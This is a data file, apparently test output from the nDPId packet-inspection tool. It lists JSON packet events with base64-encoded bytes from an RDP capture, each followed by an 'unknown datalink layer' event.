+02077{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":601,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":682654,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgp0AAfwYkMMCoAo6sEAK5DT3NDkeb00v5vQX4UBD4C+Z1AAAXAwMGbwAAAAAAAAC4EUCnhNOZivC72ihyo9vwooS0NbyqyBZyskMxhA244LU7dovUtWtUzlvLDhHW4BvihDXDq7l4OBmKsgzLCBxTOVkP3R4\/+EblURSa5nz9xoZ+5x19wbdtamNxyirIztmPbu4K6LzaEANcdJzS17R97axuxGJ0cHpmjSNfLSR3LKlZejWsXKasituJYBJm\/FR4bxSqr\/wCIirfj7czia7YgMD0R5al1KvPCIBluAONQYm0EoHCbwjnkdJPLG3akEpMw8SA2U82Fsta2egVGPQJvkuOWNwObXTGmh2eJqywU\/u5b+NHWLEEqR7tMpdSKakn6Lb0mipgvrlscUNNQEwZhEtDIXnf0WFlrr79JDeOZ97xit\/w9NyXdCE4h5s2qSOvHW7yGpWgTSLumVXtq1qWN2qVNxrn03exKsRB52G8kL4EtklNkgGoWvxIp79rrX\/ntl6VOwSlRqSIk185XQyuzmGa3RBmKgagCllwxRt+GgrCJT1VKEa5AcVlgX0uSTB3F3kOoK9FR5ay2icuzsRiAHe6PHxewW2WaAcPJGrnEXKFqq06tNiXrfwGqxhklS3zgNmGOLpyeKibL54JsrPErdRA6k4ZM3yY1EkJvED1EPrx3oKPj7gyTUs6zSkZx8pJLfZ2ZXRBDeFS3eFeQrbi6l5htVWcDVTFjiRefIAgrRJp7EtieM1O6DffHn9\/5n8pEFw9XtKSOr3C8w9Hg5bOSBWtSph8\/AecAe\/wb\/dWBhZ39ONkBO\/HeFWzquHo30Hp+aHFcJptixs5VrKtlysquhbZ9vwM376z\/qpOWy3IedBDao02TPRc5dCq2CXhcRKv99EkY1nYyBWchcU8auV29NEgoI2G5AIhf1a7rXehzHtY61NNst3T+4LqjA0OyQ6LyGlDYIKxd1JwiLB4lY6yK6\/xdmFkrnWpLdGkcoJajbMYpVprxDJzk2WQ7wlp9xDdAZA6X3HtEIgUzPSJHt4cId6wQcMm5KOna1EKLRjhQEtSC8Z36ZDHRKIn15f3WlX6K8GWh31ixKIPerWMWf1tf9ytlANI6e9j6\/8Jx+6LWQz4eAzT+TEBNIAk13gPaGXRzuRis6BTcB+BpycScN8o6vm183cSBSSxC5mnb4pgO7dNV5L4AB\/qX4VTTGj8Wcq5hNnK+joadu5PICmFD1qeRDDJFVq4oTi6GR8JoieHB+z\/IV7z4ai161O0uQHdNiMu2vJ1\/R\/KMC\/tEG+UOVUDG+9IVTYI93k0Gb44JW2uZPv6mLKHPJfGMQSDCa5IQmbsNX6l6HE2O\/JBq7uVWb+IxrYdYu6gG1bR6LjbBphB9hGy4zflIJ+0sdCn76NW2Mp9wPVA3SUrY5VuPhVbIETwjF4K\/rDpJIp2iY34yl6KiFtKEVsamaikg35Qfzgv\/S4UkVJAL6idfXxrBjsWw7FAiPgGaSQaq1u2Z1GJIiM+7fXf8u4I3LH9hQUivO8HL9pbaWYbId1KK8INnjRVLT9ZMCjmhdMbXDWLydFMZwr7plD4+421QfKz3spMTIcetF+qnUqlf3tkhn0kaQfyJtg0YRt5qAIn1KQR9mQG\/JPk\/XRiskIjMJ631jQdvhF59WtXYfgQzS0LXFa2\/IRzEbuHGW9wikjmIEQEf2rD9KxodHlJtFzeNarc5YWQoFN8xEDlM3310j8\/k3\/6PXi7"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":601,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00871{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":602,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":682710,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgqEAAfwYnrcCoAo6sEAK5DT3NDkeb2ET5vQX4UBj4C2c8AADHJRvckMcYIFD33pf+UETZCpIn6hXcYqymVBQvO9\/clEQfPhbAcS1wkwZDja9Jt1runBk6gMRCckSJq9HzXrjnM93E9K439\/tsoUt+WrmNMzhsV3YWD5gq7h0gGUAC2zZlWUF2MX1a\/Qiwx4BgWQBymgprWGUWxwYbOpHsdRNw1iN8fT\/Vrd5KrYEHjWqVYV\/H1DwBBWo78eYxaJ\/MaMCDrE7Hg2eNI+qBo2I\/ndJwW4a4VfP7IaXJuAFdYMDfrTP8IIa5Nq2iLlE5JCkGLHQizB0kdRDPeonTDuBI4cr6KiNRVRQaytAihRF6MXv+0V9FqEbqz6qTrnLesA\/bDT5ocScisMH\/\/5+VgG8r2u2QVQi1xL8yG8YHCpUzQx0zvQO43qcVBQVu\/LOGAGvoA4jM\/rsEAMMj\/h6Uz5W\/PekyVrcMWzbm58F5OCKaAwDOZnZEgBrIpl6TpnY+2x2QBbYH3gVEkQ2XjReAVmWG5begUcpBwP34GVvnv1l\/"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":602,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":603,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":682758,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gqUAAfwYo8sCoAo6sEAK5DT3NDkeb2b\/5vQX4UBj4Cz4OAAAXAwMAMAAAAAAAAAC5ReDVYUktIIkaczWvjB6+rFk9rvalW6qj5HnHR6GLovfRt2acCvVxYQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":603,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":604,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":682759,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9B8BHm9m\/UBAf9CC8AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":604,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":605,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":682816,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgqkAAfwYpJsCoAo6sEAK5DT3NDkeb2fT5vQZqUBD3mUo3AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":605,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":606,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":682840,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9B8BHm9n0UBAf8iCJAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":606,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":607,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":682962,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gq0AAfwYo8MCoAo6sEAK5DT3NDkeb2fT5vQZqUBj3mW9OAAAXAwMAMAAAAAAAAAC6sEvREfu+LJew+SaDfwI\/8a6n8cyiCh0H5k7bNCSQDF5wiRuGvoTLJQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":607,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":608,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":683005,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9B8BHm9opUBAf\/iBIAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":608,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":609,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":683226,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9B8BHm9opUBggALeoAAAXAwMAOOAIO32NJwvGxT\/8vJJjREeclKSQQIZ9CRAODC5Opvaycj7Feg4CJzpGTNWkHE4pFqppKFsmlOAM"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":609,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":610,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":683780,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgrEAAfwYkK8CoAo6sEAK5DT3NDkeb2in5vQZqUBD3ma7aAAAXAwMGbwAAAAAAAAC7NKWBQGNdjlYrZehRL49kO+uvJebtrTVzrRHiRBT6x\/YSJpRVIsQhnEavQN+Mt6cM\/+RxB7spo1ytI2D+GIV8nLuu8eeV6z6MRcZHKdXlzEU1V3dBBvSLlAOUmNW8HooAKRor0OHZ2CfyrtRTYk5x3YS\/pO0ufsoFW\/dvT\/DYAdF2pjABotSGTrestUKECiPOKG1QEGhyRLwdRd6Z0ywrJ\/CpKC+\/dQCkVwWKZPv47ckusqaklcfHBcv2uVuPHBeqkKSwYmTZWIfx5xd10Ocn2sp491j7wZY32vTbtu03r\/WKXoy3nPTxhbYOJgW3vwf5C0TUc0+HEl7NUHjAWwXxkQ6BpMFfqAtMXLkY1mBXACHQ2s0fEeQIB9zt4czmG8AbTfvObGLxU398NOFTE7ETcq339IwpOyPxmh5ds02qJgZ+wh+VIstcCSNrm4q+GooVbl7POKTVdAOM+cNsteBfLNF8PM8F+V6qh9iXF1cWT8FWvQ5pNpHtoOiKcWY2Sqp9y5TN6g+3BJQ1YJVpwlZNS\/t6zjukyLLL3RQce7PmNh2iOpX423XvsponXku1p45ZvtsT\/EAFM0s\/61j8SCDPHKnaM3WxJGLL2RD4uWAy9V7BbhdXG1ugziH0\/qaAY9VAu9pir5No7GLx08j1DXCN2ihVq2gRMxOM2QW2qBFHZMEV+u9QL7WricNJvfH+NT3X6pKd0nJh3kgs0GbDssWBdfmhYhXG4+QDoq91sdlQLGvXJeBtNtstlAEqsEuc7svKCtdoP1gMTW56HCs3IF3oJdJaMZA2uaYqCfnUifzo9lY70M0qL4bXN2Ht3dBglEylqc7nFiB5lbirWt8gdz0MnDxBnvXo0DzSIlgyqWVMdM5l3v+xpScaFxDm3+H6W1bewmWWvZvMsqet2aT99aFUURLV8IkzjFCywKX5OZ1vsqHxIUMP7yyv8yKbKSltN25Djui0n0mbenYfoVWV3OQFGwgbl+hD\/RcoWE8x5Rf9MezFNXAXJvq\/jrfQ1hLGGNB6iyqn6QDjmPN9NwcOOb9ftwIuIp1or4NSzp8iaF8k\/ea2e\/+MuhiJ6d\/Qbg5vgEpZKR1sHZY2pklh0rjXHCr7X+2K4oU3cf8T0ELR40f6\/1LBY3s33W6rPrGJ\/VmJ+EYfI4Y6\/vrd89ATAi\/JjDVkI6Ks7UpId3EQsYGuYmUfvLwQsSvn7sF\/BpIOw6b8cypy9mQ6Qi1XmDW25NyJob9iLfuunPmgPbWtDzIWhw84Rskekc9ftq0Zvarv5WdA5hUukE\/nDp9lp9pAmoNQ+kdR316I23GGxXzdWhaX0sAxuFj\/zcRTTyZ45iNaG7C0NOYsK8Sb+XlnYHeWle3Bl9sA8VcnRK7fdM9cg21w\/+wkFG8hkS4boNOyrb17IwKfEBdevlt4GyYPUHdsj3KEZExpSvs3PEICinv7dpMj6XM0CvftgxmoKLkCkhBR+FQdFil7OF2qBu08+zYhW8wyqyzWMaRK0zc\/5G2sHbHPE2cUKCXZoKUFy\/EEidtanSSm4yB7Uaq0sfvbV6mTS41vy5Nm9YQqIRRfsRMSSN82rLVumO\/ew7soPCJyloRq3sNfwTqduj6M1xPpANZ47QInS0rzNfOMKI\/\/oOmA3LGy76keJnLes55+gBlrOsUSe8KZpzE0Kz7S6H1QxC6NEvVT"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":610,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00869{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":611,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":683833,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgrUAAfwYnqMCoAo6sEAK5DT3NDkeb3yL5vQZqUBj3mQRoAADub4JIBCp4odyNNiaW4qoBjT9t65g\/U+Axn2VfNtRSqvVozRqb0GsHgqOIkarPE\/JWtqlPQ157BFRfSlKzSaRkJsrxynOrQQUUrjj4\/LX42+jt6Idb9qtsqreJcCzI1YUufzN6hnQzFUJoV6ED7R6Zf9R54EylNkdJqMg2KqHScscj\/t8cldSiiGemFkhJHRkFCbMC5Xy+9xwQ3r\/BacRLCXygOqDtQeHcRRHtFF5CAD+ZRUwgwKpVyovAdsl+3zUaMCV+ZFMYf2P43QoyGu1V8Ojyic7hNMi\/VmS9K9s3rt9lGLrUqx+MuPGkeuWgXMcrsxCA\/SD0Bfr\/s5d3sev+ckniISb3ATTIwMDtplAc0SjPY0Ut6gv5s+E7lMw577FHceeDOfKpS5J0nCb3Fp2nfyZ2PAHBFEw\/0CL0OJq\/W+BEkRd3Ayu1rHW3PA1o3UIpG0qiMZhk+0kglDiN\/CHtfS\/qYYZS9T7+W12ok6bnUIIiI0TK7B\/XTHpP"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":611,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":612,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":683859,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9B\/1Hm+CdUBAf9BmhAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":612,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":613,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":683963,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1grkAAfwYo7cCoAo6sEAK5DT3NDkeb4J35vQZqUBj3mYDNAAAXAwMAMAAAAAAAAAC8iSggEW8MPMxZlOWw4WLMXub\/ExAK1vhckVWxOHG\/RgvofRAoa3rh5g=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":613,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00352{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":614,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":683995,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9B\/1Hm+DSUBAf\/hliAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":614,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":615,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":684204,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9B\/1Hm+DSUBggAGdsAAAXAwMAOOAIO32NJwvH7TIqKsRW0FWybXsGG8C2idMsN4SbTBaBemfDv9trus1AFnl6j5kX7qe7jBcHqB2w"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":615,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":616,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":698921,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgr0AAfwYpIcCoAo6sEAK5DT3NDkeb4NL5vQbcUBD3J0NZAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":616,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":617,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":698965,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgsEAAfwYpIMCoAo6sEAK5DT3NDkeb4NL5vQdOUBD2tUNZAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":617,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":618,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699024,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gsUAAfwYo6sCoAo6sEAK5DT3NDkeb4NL5vQdOUBj2tXdFAAAXAwMAMAAAAAAAAAC9U5bHDSK5zhzrKX0px10wbfYy3cILQI\/WDyyV9xYDS+4yBDZSHNlr2w=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":618,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":619,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699074,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CDpHm+EHUBAf\/hjwAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":619,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":620,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699128,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gskAAfwYo6cCoAo6sEAK5DT3NDkeb4Qf5vQdOUBj2tWApAAAXAwMAMAAAAAAAAAC+xDjbuTZqQkdonP0vr48y+XKq0irVC6Yq1fu6FkP3XhE0YXOPGzejkg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":620,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":621,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699159,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CDpHm+E8UBAf\/hi7AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":621,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":622,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699358,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgs0AAfwYkJMCoAo6sEAK5DT3NDkeb4Tz5vQdOUBD2tc4MAAAXAwMGbwAAAAAAAAC\/lyB11uF9zqejx6MHQiJuO1R3j7IiFgKOkV\/oIxK57Io2m02b\/XxYyoRRtLxTrudRXdkGk\/GhJSAQtcdCGdty42IlwEgl3EPo6joLO0eYSi+Oa8wxmzr\/VvHXtj2cH4uvc0ZNqbJOgAnVRp1cRytD87T+9LslSHQ3SredDAWVC37A6dlOg7DryK2eSFpodshUBpO6CghXXypN9TMip3pMdBCaNbHkKliB4W92gEQJXx3qGgPVrQAmJQ\/bGFm5quFdxQqn0ADp+Li9Dmua02sKBoGKfESb5oCL\/UuI0AV3QQOoAaORPeNex2eJSIwngokhUsYqeh9Ygpj\/AcViRQ1m2Kt26++EUqdtvio6vQvGGDi0DadG6ic1nE9Hh4WV3cSfr8c6+shvbB9oEmMalz84MgGcMyQzJYLx6OcDemEIc5ssBRIMDoNoSNbuAHmujzqvTM44\/ia8Quxc\/JLEC2jtEUDa1ftHOgw0uG1eBR4xG06RJ7ewbSOQRRIM+lUscpGVWCkxo2VZuYjlVX1pVUpMKYp5QnCX4RNsmWW1hxrxBznRT95BJxVGv3RnPwOOQMo3PbryYUzp+mMHi7XGI4M9L81ZlmkjrbTq5Ou2Re656A1RnDg\/1v2XDhS3pzBs7qvOk33Vw9e319Gz4VyyA233KqCQnCryfNJRQEb5NpMsAWEikD9shzfRpzCDAZ6aPxo7sjbNbbW5iOxcnCXSNIelSgMebeAiZSdwvkCcdVns3I2jQjWO5JKRB5XsrQcjK2euT1v62rSuPE3HEYm5u6zjJuaCy1Sq4gGGa+8B1M+AWTJq3sGlKQz6p3ZBb32I2KydpGzEnKh7uGEYadKqnuuXBU3Us5+kWG6ztCXcr5+HFvgb3yz2leKT02QZwimlHQi4PSyvb5kTgQY7YzcL+mI8ifs6eSdQ+dD0MRKPwNMIQIYFOn9ml6VRrZt3TRfvDv0H5dd6kY2zsZvGwUms0NaWIfYXA6dCh89Sly8XHnMWGUpsxTVOq6SuNjrTZOLxvNKxOTMhfkBCW7OnBXVQPSMOYk5aXi+3eNOcSySeYaaGI+iMTStSXzHqpZimyLvEFo7hH\/OiqGg0bUKFIanZV\/Ps1vfECZ+RIeSMeQnS6wF2xVmNyNfWWl2bm0VNG\/4tuigvmd1CnsMVCXPdFzkWqtDBtU0RYf56kX\/U8NYw\/G5rmlQfup+VkA3Um9\/SmS8X4UwHtshmcpC1ilTNPO037i2PsHdfwgmT6EYqgv+UZhl8xeXP95HcAhF9F9iKN4jC1Yhl5ixMT\/Fw2l6Ik+eKRtGHWCU1lWxj6KJxf2gR4KliVqAv5POqfnxYrmVSZKcZh96EY8p8XdnBZGSfC7MevRD3VSbY3eXRaeqtzMHCbFzXYA8d2hGY9wfGV1ndtBa0Amx367UU89VtWhj27VKMVF6c5UsIShE\/DoOQWf6i20bae4moCL1ZnF2YR0HK\/CZZXn3CPszijAekx7S5MvNdQfH1XNpmdctP4b0RnQCThS+nggvtswPMpue3LGkqt9GFMWliEf\/\/yjcUntG0HF3VhfHN1mNH63RDoDo\/0ddoqQeXoW6Jbpzd7M56r78PTIRVT9XNFncdLmSZ5n0y8A19SkgesgybP1ntzSp9B9qGbQzVCK\/9t0AMpt0oUe7L5DREv398saCQP1tDuSUNVL1T"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":622,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":623,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699397,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgtEAAfwYnocCoAo6sEAK5DT3NDkeb5jX5vQdOUBj2taqFAADcXShkbw1vYvMlnt4B0TvCY8lMnM6INowPyzF8M\/G7+4TlYlrnQ2DTTlQTS5ZH2NTjTexDw2UhB68v\/Ophr8uJYtOouKst4oLDbNqNFqA0XlUxZ6iShs9nLyxeNWYEwwK0xw3GYaD3Oh5bmUEQzvV6nEdZa8enO4Jh30LWGUOUciXtqaI8nI\/qXRqZHCdW9ncsLseSG1VhWIDlwihV5K6WHpAeI4sLzJnFq7IDcubK4spONqQGZ0SveYzhdL9Ti0XVLubRUf8y7RGpFLjpYNcKE4LyDYNwsJ0LN3fE0G1ZjxrQKIWIR0jBaa64Z4bCIqX2F29ZA0MFctxb78TPcF3jcqirTdVvjbI7z8K8aAN806kcRP2v\/iVu5E8NTvWEUQyV\/Ltv1300zg\/C22TVX0xPwMjD2cEVrhYedJPNJ99q0GXyDX10OAlcj7faxgTochji3GvvQpjpL8QWG\/SwDpROUJm0SicVEtOY4wH0nCNawy32fzAuO98PbMSJ"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":623,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":624,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699430,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9CDpHm+ewUBAf9BJRAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":624,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":625,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":699626,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9CDpHm+ewUBggAA9NAAAXAwMAMOAIO32NJwvIt9wl9W4ZmXjAZI88yIB4+ya9ZGTEYMZ6c+xXO7tK0N3fjWppYBB1bA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 